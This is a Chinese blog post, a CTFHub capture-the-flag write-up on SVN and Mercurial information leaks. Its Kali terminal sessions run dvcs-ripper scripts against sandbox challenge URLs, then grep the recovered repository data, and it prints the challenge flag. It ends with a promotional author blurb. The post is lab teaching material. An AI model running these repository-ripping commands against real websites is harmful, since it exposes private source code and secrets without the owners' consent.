Web解题2 信息泄露 ( CTFHub ) - ctf，2024年最新字节跳动+阿里+华为+腾讯等大厂网络安全面试题

最新推荐文章于 2024-08-06 08:00:00 发布

2401_83947398

最新推荐文章于 2024-08-06 08:00:00 发布

阅读量862

点赞数 8

分类专栏： 2024年程序员学习文章标签：前端华为 web安全

本文链接：https://blog.csdn.net/2401_83947398/article/details/137730400

版权

2024年程序员学习专栏收录该内容

271 篇文章 1 订阅

订阅专栏

-rw------- 1 kali kali 18367 Feb 28 22:40 LICENSE
-rw------- 1 kali kali 5770 Feb 28 22:40 README.md
-rw------- 1 kali kali 4018 Feb 28 22:40 hg-decode.pl
-rw------- 1 kali kali 6633 Feb 28 22:40 rip-bzr.pl
-rw------- 1 kali kali 4915 Feb 28 22:40 rip-cvs.pl
-rw------- 1 kali kali 15672 Feb 28 22:40 rip-git.pl
-rw------- 1 kali kali 6327 Feb 28 22:40 rip-hg.pl
-rw------- 1 kali kali 6381 Feb 28 22:40 rip-svn.pl

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ ls
LICENSE README.md hg-decode.pl rip-bzr.pl rip-cvs.pl rip-git.pl rip-hg.pl rip-svn.pl

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ perl rip-svn.pl -u http://challenge-436df27ed95213e0.sandbox.ctfhub.com:10800/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
Reverted ‘index.html’

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ tree .svn
.svn
├── entries
├── format
├── pristine
│ ├── bf
│ │ └── bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base
│ └── f2
│ └── f21a3124b9a8bc5ad682b2d6c0bce356d85b577b.svn-base
├── text-base
├── tmp
├── wc.db
└── wc.db-journal

6 directories, 6 files

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ cat .svn/pristine/bf/bf45c36a4dfb73378247a6311eac4f80f48fcb92.svn-base

<html>

<head>
    <meta charset="UTF-8" />
    <title>CTFHub 信息泄露 SVN</title>
</head>

<body>
    <h1>信息泄露 - Subversion</h1>
    <br/>
    <p>Flag 在服务端旧版本的源代码中</p>
</body>

</html>

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ cat .svn/pristine/f2/f21a3124b9a8bc5ad682b2d6c0bce356d85b577b.svn-base
ctfhub{ad260a295fdf50f420fd2c97}

发现flag。

HG泄露

解题过程同上一题。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ perl rip-hg.pl -u http://challenge-e6578c7d0a8df3df.sandbox.ctfhub.com:10800/.hg/
[i] Getting correct 404 responses
cannot find hg: No such file or directory at rip-hg.pl line 140.

perl [-u] :
使用utf-8编码来处理输入和输出。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ ls -al
total 104
drwxr-xr-x 4 kali kali 4096 Feb 29 11:59 .
drwxr-xr-x 3 kali kali 4096 Feb 29 11:41 …
-rw------- 1 kali kali 164 Feb 28 22:40 .gitignore
drwxr-xr-x 3 kali kali 4096 Feb 29 12:01 .hg
drwxr-xr-x 5 kali kali 4096 Feb 29 11:44 .svn
-rw------- 1 kali kali 18367 Feb 28 22:40 LICENSE
-rw------- 1 kali kali 5770 Feb 28 22:40 README.md
-rw------- 1 kali kali 4018 Feb 28 22:40 hg-decode.pl
-rw-r–r-- 1 kali kali 221 Feb 29 11:44 index.html
-rw------- 1 kali kali 6633 Feb 28 22:40 rip-bzr.pl
-rw------- 1 kali kali 4915 Feb 28 22:40 rip-cvs.pl
-rw------- 1 kali kali 15672 Feb 28 22:40 rip-git.pl
-rw------- 1 kali kali 6327 Feb 28 22:40 rip-hg.pl
-rw------- 1 kali kali 6381 Feb 28 22:40 rip-svn.pl

上上条指令输出not found可能是下载不完全，还是生成了.hg文件的。打开，发现两个.txt文件，挨个curl过去，看是否返回flag。

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ tree .hg
.hg
├── 00changelog.i
├── dirstate
├── last-message.txt
├── requires
├── store
│ ├── 00changelog.i
│ ├── 00manifest.i
│ ├── data
│ ├── fncache
│ └── undo
├── undo.branch
├── undo.desc
└── undo.dirstate

3 directories, 11 files

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ cat .hg/last-message.txt
add flag

┌──(kali㉿kali)-[~/hacktool/dvcs-ripper]
└─$ grep -a -r flag
.hg/last-message.txt:add flag
.hg/dirstate:index.htmln��!��flag_137388155.txt
.hg/store/undo:data/flag_137388155.txt.i0
.hg/store/fncache:data/flag_137388155.txt.i
.hg/undo.dirstate:index.htmla��flag_137388155.txt
�O��L▒c.!flag_38i413377.index.htmlindex.htmlnormalfile

sha1

sha1bf45c36a4dfb73378247a6311eac4f80f48fcb92��normaldir()infinity��å~%
.svn/wc.db:��2▒ flag_384413377.txt index.html
index.html3377.txt
hg-decode.pl: ( $head->{‘flags’},

-r：递归搜索。这个选项告诉grep命令在指定目录下递归搜索匹配的内容。如果省略该选项，grep只会搜索指定的文件或目录。
-a：处理二进制文件。这个选项告诉grep命令处理二进制文件，而不是简单地过滤掉它们。grep默认会将二进制文件视为非文本文件并跳过它们，但使用这个选项可以让grep尝试搜索这些文件。

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。